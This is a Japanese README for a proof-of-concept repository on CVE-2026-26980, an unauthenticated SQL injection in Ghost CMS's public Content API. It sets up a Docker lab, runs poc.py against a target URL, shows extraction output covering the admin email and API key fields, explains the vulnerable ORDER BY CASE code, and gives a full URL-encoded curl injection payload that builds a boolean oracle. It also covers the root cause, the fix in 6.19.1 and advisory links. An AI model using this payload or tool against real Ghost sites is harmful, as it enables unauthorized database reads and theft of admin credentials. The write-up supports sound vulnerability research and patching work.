
Ghost Content API SQLインジェクション
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQLインジェクション PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 は、TryGhost Ghost CMS Content API における認証不要の SQLインジェクション脆弱性です。脆弱な経路は、slug:[...] の並び順が処理される際の公開 Content API のフィルター処理ロジックを通じて到達可能です。
この PoC は、管理された Ghost 6.19.0 のラボ環境を構築し、公開 Content API のリクエストがブールベースのデータベース読み取りプリミティブに変換されることを実証します。
| 製品 | 影響を受けるバージョン | 修正バージョン | 脆弱性の種類 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQLインジェクション |
ラボ環境は Ghost 6.19.0 を使用します。
Docker を使用して、脆弱性のある Ghost CMS 環境をビルドして実行します:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
例:
http://127.0.0.1:9102/
ラボは、実際に脆弱性のある Ghost 6.19.0 インスタンスをポート 9102 で実行します。
ラボの Content API キーは次のとおりです:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQLインジェクション脆弱性
説明:6.19.1 より前の TryGhost Ghost CMS に存在する SQLインジェクション脆弱性により、公開 Content API キーにアクセスできる認証不要の攻撃者が、Content API の filter パラメーターを通じて任意のデータベース値を読み取ることができます。この問題は slug:[...] フィルターの並び順処理経路で発生し、ユーザーが制御する slug 値が適切なパラメーターバインディングなしで生の SQL に挿入されます。
Ghost の Content API キーは、設計上、テーマ、検索、ポータル、またはフロントエンド JavaScript を通じてブラウザーに公開されるのが一般的です。つまり、Ghost Admin の認証なしで脆弱な経路に到達できる可能性があります。
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
任意のカスタム Content API キー:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] の例:http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
公開されている PoC は、ラボ用の安全なデータベースメタデータと Ghost API キー情報を抽出することで、データベース読み取りの影響を実証します。チャレンジフラグは出力しません。
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
脆弱なロジックは、slug:[...] フィルターに対する Ghost の Content API 入力シリアライズ処理に存在します。Ghost はリスト形式の slug フィルターをサポートしており、ORDER BY CASE 式を生成することで要求された slug の並び順を維持します。
脆弱性のあるバージョンでは、ユーザーが制御する slug 値が SQL フラグメントに挿入されます。簡略化した脆弱なパターンは次のとおりです:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
slug は攻撃者が制御でき、パラメーターバインディングなしで SQL 文字列に挿入されるため、巧妙に細工された Content API フィルターは意図された比較から抜け出し、追加の SQL ロジックを注入できます。
ラボの PoC は、観測可能なブールオラクルとして bacon と chorizo という 2 つの公開タグを使用します。
bacon が先にソートされます。chorizo が先にソートされます。このテストを異なる SQL 条件で繰り返すことで、PoC はデータベースの値を 1 文字ずつ推測できます。
curl によるブールオラクルの確認:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
根本原因は、ユーザーが制御する slug 値から SQL の ORDER BY CASE フラグメントが安全でない方法で構築されることです。脆弱なコードは Content API の応答順序を維持しようとしますが、解析済みの NQL フィルター値を信頼できる SQL テキストとして扱います。
堅牢な修正には、以下が必要です:
Ghost はこの問題を 6.19.1 で、生の文字列挿入をパラメーター化されたクエリーバインディングに置き換えて修正しました。
これは CWE-89: SQL コマンドで使用される特殊要素の不適切な無害化 の問題です。
Ghost の Content API は意図的に公開されているため、この脆弱性により、認証不要の攻撃者が公開コンテンツエンドポイントを通じてデータベース読み取りプリミティブを作成できる可能性があります。データベースの内容と権限によっては、攻撃者は次のことを行える可能性があります:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
このラボは、最小限のモックサーバーではなく、実際に脆弱性のある Ghost 6.19.0 インスタンスを実行します。
ラボには次のものがシードされます:
EQSTLab299bacon、chorizo公開されている poc.py は、デモ動画および公開 writeup 向けに設計されています。チャレンジフラグを出力せずに SQL インジェクションの影響を示します。
docker stop cve-2026-26980
このリポジトリは、CVE-2026-26980 に対する SQL インジェクションのエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、場合によっては自身のアプリケーションをテストできるようにすることです。
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980